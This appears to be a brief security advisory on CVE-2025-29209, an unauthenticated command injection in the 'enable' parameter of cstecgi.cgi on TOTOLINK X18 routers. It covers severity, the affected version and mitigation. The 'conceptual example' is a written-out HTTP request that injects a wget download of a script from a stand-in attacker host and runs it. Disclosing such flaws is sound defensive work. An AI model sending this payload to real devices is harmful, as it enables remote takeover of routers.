CVE-2025-29209: Unauthenticated Arbitrary Command Execution in TOTOLINK X18

Overview

In the ever-changing landscape of cybersecurity, a new vulnerability has emerged that targets TOTOLINK X18 routers, version 9.1.0cu.2024_B20220329. The vulnerability, officially recognized as CVE-2025-29209, allows unauthorized arbitrary command execution, posing a significant threat to system integrity and data security. Given the widespread use of TOTOLINK routers, this vulnerability could potentially affect a substantial number of users and businesses, leaving them vulnerable to system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-29209
Severity: Critical (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized arbitrary command execution leading to potential system compromise and data leakage.

Affected Products

Product | Affected Versions

TOTOLINK X18 | 9.1.0cu.2024_B20220329

How the Exploit Works

The exploit takes advantage of a vulnerability in the ‘enable’ parameter of the sub_41105C function of cstecgi.cgi. By sending a specially crafted request, an attacker can execute arbitrary commands on the system, potentially leading to full system compromise. This attack can be performed remotely and does not require any user interaction or special privileges, making it particularly dangerous.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited:

POST /cstecgi.cgi HTTP/1.1
Host: target.router.com
Content-Type: application/x-www-form-urlencoded
enable=; wget http://attacker.com/malicious_script.sh -O /tmp/malicious.sh; sh /tmp/malicious.sh;

In this example, the attacker is sending a POST request to the vulnerable endpoint (`cstecgi.cgi`) and injecting a command to download a malicious script from their server, save it to the router’s temporary directory, and then execute it.

Mitigation and Remediation

As of now, the best way to mitigate this vulnerability is to apply the patch provided by the vendor. If the patch cannot be immediately applied, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation by blocking malicious requests targeting this vulnerability. However, these are only temporary solutions, and applying the vendor patch should be considered a priority to fully secure the system.